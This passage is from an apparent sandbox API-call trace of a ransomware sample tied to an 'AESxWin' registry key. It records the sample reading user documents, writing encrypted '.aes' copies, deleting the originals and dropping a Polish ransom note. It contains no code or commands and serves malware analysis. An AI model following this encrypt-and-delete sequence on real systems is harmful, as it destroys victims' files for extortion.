lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.558] ReadFile (in: hFile=0x354, lpBuffer=0x26b4380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4380*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.558] WriteFile (in: hFile=0x2a8, lpBuffer=0x2846564*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2846564*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.558] ReadFile (in: hFile=0x354, lpBuffer=0x26b4380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4380*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.558] WriteFile (in: hFile=0x2a8, lpBuffer=0x2846564*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2846564*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.558] ReadFile (in: hFile=0x354, lpBuffer=0x26b4380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4380*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.559] WriteFile (in: hFile=0x2a8, lpBuffer=0x2846564*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2846564*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.559] ReadFile (in: hFile=0x354, lpBuffer=0x26b4380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4380*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.559] WriteFile (in: hFile=0x2a8, lpBuffer=0x2846564*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2846564*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.559] ReadFile (in: hFile=0x354, lpBuffer=0x26b4380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4380*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.559] WriteFile (in: hFile=0x2a8, lpBuffer=0x2846564*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2846564*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.559] ReadFile (in: hFile=0x354, lpBuffer=0x26b4380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4380*, lpNumberOfBytesRead=0x77cea50*=0x474, lpOverlapped=0x0) returned 1 [0073.559] ReadFile (in: hFile=0x354, lpBuffer=0x26b4380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b4380*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0073.559] WriteFile (in: hFile=0x2a8, lpBuffer=0x2846564*, nNumberOfBytesToWrite=0x591, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x2846564*, lpNumberOfBytesWritten=0x77ce974*=0x591, lpOverlapped=0x0) returned 1 [0073.560] WriteFile (in: hFile=0x2a8, lpBuffer=0x2846564*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x2846564*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0073.560] CloseHandle (hObject=0x2a8) returned 1 [0073.561] CloseHandle (hObject=0x354) returned 1 [0073.561] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\t8rijBa3r5rIl.pptx", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\t8rijBa3r5rIl.pptx", lpFilePart=0x0) returned 0x54 [0073.561] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\t8rijBa3r5rIl.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\t8rijba3r5ril.pptx")) returned 1 [0073.562] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x5c [0073.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0073.562] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\P9grc6N9ugQ9v\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\p9grc6n9ugq9v\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5b13740, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe5b13740, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe5b13740, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0073.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0073.562] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0073.585] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\0_b3IJRL61ikm2.xls", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\0_b3IJRL61ikm2.xls", lpFilePart=0x0) returned 0x46 [0073.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0073.585] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\0_b3IJRL61ikm2.xls" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\0_b3ijrl61ikm2.xls"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc10e86d0, ftCreationTime.dwHighDateTime=0x1d2f96a, ftLastAccessTime.dwLowDateTime=0x23c00100, ftLastAccessTime.dwHighDateTime=0x1d30091, ftLastWriteTime.dwLowDateTime=0x23c00100, ftLastWriteTime.dwHighDateTime=0x1d30091, nFileSizeHigh=0x0, nFileSizeLow=0xd74c)) returned 1 [0073.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0073.585] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\0_b3IJRL61ikm2.xls", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\0_b3IJRL61ikm2.xls", lpFilePart=0x0) returned 0x46 [0073.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0073.585] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\0_b3IJRL61ikm2.xls" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\0_b3ijrl61ikm2.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x354 [0073.586] GetFileType (hFile=0x354) returned 0x1 [0073.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0073.586] GetFileType (hFile=0x354) returned 0x1 [0073.586] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\0_b3IJRL61ikm2.xls.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\0_b3IJRL61ikm2.xls.aes", lpFilePart=0x0) returned 0x4a [0073.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0073.586] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\0_b3IJRL61ikm2.xls.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\0_b3ijrl61ikm2.xls.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2a8 [0073.586] GetFileType (hFile=0x2a8) returned 0x1 [0073.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0073.586] GetFileType (hFile=0x2a8) returned 0x1 [0073.586] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0073.594] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6fd6ef8 [0073.594] GetNetworkParams (in: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624) returned 0x0 [0073.601] LocalFree (hMem=0x6fd6ef8) returned 0x0 [0073.601] GetAdaptersAddresses () returned 0x6f [0073.606] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7014730 [0073.606] GetAdaptersAddresses () returned 0x0 [0073.611] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0073.620] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0073.620] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0073.629] LocalFree (hMem=0x1c8b20) returned 0x0 [0073.629] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0073.636] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0073.636] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0073.642] LocalFree (hMem=0x1c8b20) returned 0x0 [0073.643] LocalFree (hMem=0x7014730) returned 0x0 [0073.643] GetBestInterfaceEx (in: pDestAddr=0x2892a4c*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0073.726] ReadFile (in: hFile=0x354, lpBuffer=0x26b5864, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5864*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.727] ReadFile (in: hFile=0x354, lpBuffer=0x26b5864, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5864*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.727] WriteFile (in: hFile=0x2a8, lpBuffer=0x28556b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28556b8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.727] ReadFile (in: hFile=0x354, lpBuffer=0x26b5864, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5864*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.728] WriteFile (in: hFile=0x2a8, lpBuffer=0x28556b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28556b8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.728] ReadFile (in: hFile=0x354, lpBuffer=0x26b5864, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5864*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.728] WriteFile (in: hFile=0x2a8, lpBuffer=0x28556b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28556b8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.728] ReadFile (in: hFile=0x354, lpBuffer=0x26b5864, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5864*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.728] WriteFile (in: hFile=0x2a8, lpBuffer=0x28556b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28556b8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.728] ReadFile (in: hFile=0x354, lpBuffer=0x26b5864, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5864*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.728] WriteFile (in: hFile=0x2a8, lpBuffer=0x28556b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28556b8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.728] ReadFile (in: hFile=0x354, lpBuffer=0x26b5864, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5864*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.729] WriteFile (in: hFile=0x2a8, lpBuffer=0x28556b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28556b8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.729] ReadFile (in: hFile=0x354, lpBuffer=0x26b5864, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5864*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.729] WriteFile (in: hFile=0x2a8, lpBuffer=0x28556b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28556b8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.729] ReadFile (in: hFile=0x354, lpBuffer=0x26b5864, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5864*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.729] WriteFile (in: hFile=0x2a8, lpBuffer=0x28556b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28556b8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.729] ReadFile (in: hFile=0x354, lpBuffer=0x26b5864, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5864*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.729] WriteFile (in: hFile=0x2a8, lpBuffer=0x28556b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28556b8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.730] ReadFile (in: hFile=0x354, lpBuffer=0x26b5864, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5864*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.730] WriteFile (in: hFile=0x2a8, lpBuffer=0x28556b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28556b8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.730] ReadFile (in: hFile=0x354, lpBuffer=0x26b5864, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5864*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.730] WriteFile (in: hFile=0x2a8, lpBuffer=0x28556b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28556b8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.730] ReadFile (in: hFile=0x354, lpBuffer=0x26b5864, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5864*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0073.730] WriteFile (in: hFile=0x2a8, lpBuffer=0x28556b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28556b8*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0073.730] ReadFile (in: hFile=0x354, lpBuffer=0x26b5864, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5864*, lpNumberOfBytesRead=0x77cea50*=0x74c, lpOverlapped=0x0) returned 1 [0073.730] ReadFile (in: hFile=0x354, lpBuffer=0x26b5864, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5864*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0073.731] WriteFile (in: hFile=0x2a8, lpBuffer=0x28556b8*, nNumberOfBytesToWrite=0x861, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x28556b8*, lpNumberOfBytesWritten=0x77ce974*=0x861, lpOverlapped=0x0) returned 1 [0073.731] WriteFile (in: hFile=0x2a8, lpBuffer=0x28556b8*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x28556b8*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0073.731] CloseHandle (hObject=0x2a8) returned 1 [0073.732] CloseHandle (hObject=0x354) returned 1 [0073.732] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\0_b3IJRL61ikm2.xls", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\0_b3IJRL61ikm2.xls", lpFilePart=0x0) returned 0x46 [0073.732] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\0_b3IJRL61ikm2.xls" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\0_b3ijrl61ikm2.xls")) returned 1 [0073.733] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4e [0073.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0073.733] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0073.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0073.733] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x354) returned 0x0 [0073.733] RegQueryValueExW (in: hKey=0x354, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0073.733] RegQueryValueExW (in: hKey=0x354, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x2873ac0, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0073.733] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4e [0073.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0073.733] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x2a8 [0073.734] GetFileType (hFile=0x2a8) returned 0x1 [0073.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0073.734] GetFileType (hFile=0x2a8) returned 0x1 [0073.734] WriteFile (in: hFile=0x2a8, lpBuffer=0x287cae0*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x287cae0*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0073.734] CloseHandle (hObject=0x2a8) returned 1 [0073.735] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0073.751] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\568WxqKDq_FIMwoN.pdf", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\568WxqKDq_FIMwoN.pdf", lpFilePart=0x0) returned 0x48 [0073.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0073.752] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\568WxqKDq_FIMwoN.pdf" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\568wxqkdq_fimwon.pdf"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x642501d0, ftCreationTime.dwHighDateTime=0x1d305b6, ftLastAccessTime.dwLowDateTime=0x43544010, ftLastAccessTime.dwHighDateTime=0x1d303c2, ftLastWriteTime.dwLowDateTime=0x43544010, ftLastWriteTime.dwHighDateTime=0x1d303c2, nFileSizeHigh=0x0, nFileSizeLow=0x17c07)) returned 1 [0073.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0073.752] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\568WxqKDq_FIMwoN.pdf", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\568WxqKDq_FIMwoN.pdf", lpFilePart=0x0) returned 0x48 [0073.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0073.752] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\568WxqKDq_FIMwoN.pdf" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\568wxqkdq_fimwon.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2a8 [0073.752] GetFileType (hFile=0x2a8) returned 0x1 [0073.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0073.752] GetFileType (hFile=0x2a8) returned 0x1 [0073.752] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\568WxqKDq_FIMwoN.pdf.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\568WxqKDq_FIMwoN.pdf.aes", lpFilePart=0x0) returned 0x4c [0073.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0073.752] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\568WxqKDq_FIMwoN.pdf.aes" (normalized: 